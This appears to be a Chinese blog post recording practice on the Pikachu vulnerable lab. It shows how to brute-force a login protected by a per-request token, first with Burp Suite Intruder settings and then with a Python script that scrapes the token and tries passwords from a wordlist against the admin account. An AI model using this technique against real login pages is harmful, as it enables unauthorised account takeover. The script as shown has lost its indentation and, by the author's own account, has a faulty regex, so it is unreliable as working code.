现在的网页有很多验证机制,就是为了防止暴力破解,有直接在前端就可以进行修改的,有需要在服务器进行修改的,对于目前的我来说,如果在服务器修改就没办法绕过,但是大多时候利用burpsuite就可以进行中间代理修改。其中字典有很多,你可以在github找,也可以私信我
这里我就针对token绕过进行一次记录
我用的是pikachu漏洞测试平台
第一种:
直接利用burpsuite进行爆破,首先进行抓包,然后传到攻击面板
添加变量password和token,最上面的选择pitchfork
第二步就是设置线程,因为token是一对一的关系,当第二个token产生,第一个token就会消失,务必将线程调整至1,我使用的版本是刚出来的,所以线程不在options中
记得将间隔时间调整至2000
第三步就是设置Grep=Extract
有一说一,这里我也听得模模糊糊,讲不出个所以然,你们将Grep=Extract下面的打个勾,然后add添加,然后点一下中间右边的response就会出现html,然后选择出value的值,然后再在下面填写token,最后ok就行了,就这样
最后一步就是设置302跳转,直接always,还有添加字典别忘了
攻击就行了
第二种:直接利用python脚本
我的python脚本代码是某一老师编写的,并不是我本人写的
#coding:utf-8
import requests
import re
url = "http://127.0.0.1/pikachu-master/vul/burteforce/bf_token.php"
def login(password):
session = requests.session()
req=session.get(url)
user_token=re.search("[a-z0-9]{32}",req.text).group(0) #32md5
data={"username":"admin","password":password,"Login":"Login",'user_token':user_token}
req=session.post(url=url,data=data,allow_redirects=True)
html = req.text
return html
with open('top1000.txt') as p:
passlist =p.readlines()
p.close()
for line in passlist:
line = line.strip("\n")
print(line)
if 'login success' in login(line):
print( "[* 密码 is %s *]" % line )
break
可能因为正则没怎么写好,导致带进去会报错,不过能攻击成功,如果有大佬能帮忙把正则补全,在下感激不尽